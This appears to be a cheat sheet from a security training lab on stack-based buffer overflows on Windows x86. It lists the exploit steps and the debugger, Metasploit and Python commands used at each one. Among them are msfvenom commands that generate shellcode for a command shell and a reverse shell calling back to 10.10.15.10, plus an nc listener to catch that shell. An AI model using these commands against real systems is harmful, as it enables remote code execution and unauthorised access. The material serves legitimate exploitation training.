

STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86 CHEAT SHEET

Buffer Overflow Steps

- 1. Fuzzing Parameters
- 2. Controlling EIP
- 3. Identifying Bad Characters
- 4. Finding a Return Instruction
- 5. Jumping to Shellcode

Commands

Command	Description
General	
xfreerdp /v: <target address="" ip=""> /u:htb-student /p: <password></password></target>	RDP to Windows VM
/usr/bin/msf-pattern_create -l 5000	Create Pattern
/usr/bin/msf-pattern_offset -q 31684630	Find Pattern Offset
netstat -a findstr LISTEN	List listening ports on a Windows machine
.\nc.exe 127.0.0.1 8888	Interact with port
msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00'	Generate Local Privesc Shellcode

Command	Description
msfvenom -p 'windows/shell_reverse_tcp' LHOST=10.10.15.10 LPORT=1234 -f 'python' -b '\x00\0x0a'	Generate Reverse Shell Shellcode
nc -lvnp 1234	Listen for reverse shell
x32dbg	
F3	Open file
alt+A	Attach to a process
alt+L	Go to Logs Tab
alt+E	Go to Symbols Tab
ctrl+f	Search for instruction
ctrl+b	Search for pattern
Search For>All Modules>Command	Search all loaded modules for instruction
Search For>All Modules>Pattern	Search all loaded modules for pattern
ERC	
<pre>ERCconfig SetWorkingDirectory C:\Users\htb- student\Desktop\</pre>	Configure Working Directory
ERCpattern c 5000	Create Pattern
ERCpattern o 1hF0	Find Pattern Offset
ERCbytearray	Generate All Characters Byte Array
ERCbytearray -bytes 0x00	Generate Byte Array excluding certain bytes

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Command	Description
ERCcompare 0014F974 C:\Users\htb- student\Desktop\ByteArray_1.bin	Compare bytes in memory to a Byte Array file
ERCModuleInfo	List loaded modules and their memory protections
Python	
python -c "print('A'*10000)"	Print fuzzing payload
<pre>python -c "print('A'*10000, file=open('fuzz.wav', 'w'))"</pre>	Write fuzzing payload to a file
breakpoint()	Add breakpoint to Python exploit
С	Continue from breakpoint

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